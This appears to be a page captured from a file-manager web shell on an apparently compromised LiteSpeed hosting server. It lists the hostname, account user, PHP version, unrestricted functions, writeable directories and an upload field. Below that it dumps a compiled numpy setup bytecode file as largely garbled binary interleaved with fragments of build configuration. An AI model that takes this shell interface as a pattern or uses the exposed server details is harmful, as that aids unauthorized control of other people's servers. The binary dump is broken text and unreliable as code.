Server : LiteSpeed
System : Linux server51.dnsbootclub.com 4.18.0-553.62.1.lve.el8.x86_64 #1 SMP Mon Jul 21 17:50:35 UTC 2025 x86_64
User : nandedex ( 1060)
PHP Version : 8.1.33
Disable Function : NONE
Directory :  /opt/cloudlinux/venv/lib64/python3.11/site-packages/numpy/random/__pycache__/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]


Current File : //opt/cloudlinux/venv/lib64/python3.11/site-packages/numpy/random/__pycache__/setup.cpython-311.pyc
�

�h ��v�ddlZddlZddlmZddlmZddlmZd
d�Ze	dkrddl
mZee�	��dSdS)�N)�join)�
platform_bits)�lib_opts_if_msvc�c
�D���ddlm}m�|d||�����fd�}tjdd�dkrdg}ngd�}|�d	����d
����d����d��g}d
g}tj	dkr|�d��dg}tjdkr|dgz
}dg}g}	gd�}
gd�}d�}��
d
|dg|gd����dD]P}
��d|
��d|
�d�d|
�d|
�d�d|
�d|
�d�gd d!td!|
��g||||
d|
�d"�gz|�#���Qd$D]W}
|
d%kr||	zn|}��d|
��d|
�d�d|
�d|
�d�gd d!td!|
��g||||
d|
�d"�d&d'gz|�#���Xd(D]H}
��|
|
�d�g|||d d!g|
|
�d"�|
�d)�gz|�*����
|
�d)����Id+D]0}
��|
|
�d�g|d,gz|d d!g||
|
�d"�gz|�-���1��
d.��tj	dkrdd,gnd,g}��d/gd0�gd1�||||
d2gz||z�#���j
|
���
d3���S)4Nr)�
Configuration�get_mathlibs�randomc��������}���}tjdkr|�ddg��|j�|��dS)N�win32�Advapi32�Kernel32)�get_config_cmd�sys�platform�extend�	libraries)�ext�	build_dir�
config_cmd�libs�configr	s    ���e/builddir/build/BUILD/cloudlinux-venv-1.0.8/venv/lib64/python3.11/site-packages/numpy/random/setup.py�generate_librariesz)configuration.<locals>.generate_libraries
s^����*�*�,�,�
��|�~�~���<�7�"�"��K�K��Z�0�1�1�1��
���T�"�"�"��t���aix)�_LARGE_FILESN))�_FILE_OFFSET_BITS�64)�_LARGEFILE_SOURCE�1)�_LARGEFILE64_SOURCEr")�NPY_NO_DEPRECATED_APIr�testsz
tests/data�	_examples�	npyrandom�nt�mz-U__GNUC_GNU_INLINE__�cygwinz-Wl,--export-all-symbols)�NP_RANDOM_LEGACYr")z__init__.pxdzc_distributions.pxd�bit_generator.pxd)z src/distributions/logfactorial.c�!src/distributions/distributions.cz%src/distributions/random_mvhg_count.cz)src/distributions/random_mvhg_marginals.cz)src/distributions/random_hypergeometric.cc�n�t|��}|jjdkr|�d��|S)a Add flags that depend on the compiler.

        We can't see which compiler we are using in our scope, because we have
        not initialized the distutils build command, so use this deferred
        calculation to run when we are building the library.
        �msvcz-std=c99)r�compiler�
compiler_type�append)�	build_cmd�optss  r�lib_optszconfiguration.<locals>.lib_optsBs9�� �	�*�*����+�v�5�5��K�K�
�#�#�#��r�lib)�include_dirs�extra_compiler_args)�sources�install_dir�
build_info)�mt19937�_z.czsrc/�/z-jump.c�.�srcz.pyx)r9r7r�extra_compile_args�extra_link_args�depends�
define_macros)�philox�pcg64�sfc64rFzbit_generator.pyxr,)�_common�
bit_generatorz.pxd)r9rrArBr7rCrD)�
_generator�_bounded_integers�npymath)r9rrAr7rBrCrDz_bounded_integers.pxd�mtrand)zmtrand.cz!src/legacy/legacy-distributions.cr-)r?r@z
src/legacyz
mtrand.pyxz*.pyi)�numpy.distutils.misc_utilrr	rrr2�add_subpackage�add_data_dir�os�name�add_installed_library�
add_extensionr�add_data_files)�parent_package�top_pathrr�defs�EXTRA_LINK_ARGS�EXTRA_LIBRARIES�EXTRA_COMPILE_ARGS�LEGACY_DEFS�
PCG64_DEFSrC�npyrandom_sourcesr5�gen�_defs�mtrand_libsrr	s                @@r�
configurationrb	s�����E�E�E�E�E�E�E�E�
�]�8�^�X�
>�
>�F��������|�B�Q�B��5� � �&�'���.�.�.��	�K�K�,�-�-�-�
���'�"�"�"�
����%�%�%�
����$�$�$��O�"�m�O�	�w�$������s�#�#�#�1�2��
�|�x���
	�6�7�7��-�-�K��J�K�J�J�G��������� � ��!���$,�:�
�
�!�����������Y��Y�Y�&1�#�k�k�k�&:�S�&:�&:�3�&:�&:�&:�&?�S�&?�&?�3�&?�&?�&?�&A�,/��t�E�3�7G�7G�*H�'6�0B�-<�%,�
�C�
�
�
��%>�+/�	�
	�
	�
	�
	�,�
�
��%(�G�^�^��z�!�!������Y��Y�Y�&1�#�k�k�k�&:�S�&:�&:�3�&:�&:�&:�&<�+.��t�E�3�7G�7G�*H�'6�0B�-<�%,�
�C�
�
�
�#6�8K�0M�&M�+0�	�
	�
	�
	�
	�,�,�,�����S�),�j�j�j�\�'6�0B�-<�+.��,�%,�3�����l�l�l�/L�%L�+/�	�	�	�	�	����l�l�l�+�+�+�+�2�
�
�����S�),�j�j�j�\�'6�)��'D�0B�+.��,�-<�%,�3����~�%=�+/�	�	�	�	�	����1�2�2�2�&(�g��o�o�3�	�"�"�I�;�K�
����"#�"#�"#�'A�&@�&@�#.�,>�)8�!(�L�>�!9�'+�k�'9������F��7�#�#�
���'�"�"�"��Mr�__main__)�setup)rb)rN)rQr�os.pathr�numpy.distutils.system_infor�numpy.distutils.msvccompilerrrb�__name__�numpy.distutils.corerd�rr�<module>rks���	�	�	�	�
�
�
�
�������5�5�5�5�5�5�9�9�9�9�9�9�P�P�P�P�f�z���*�*�*�*�*�*�	�E�
�&�&�&�&�&�&��r

F1le Man4ger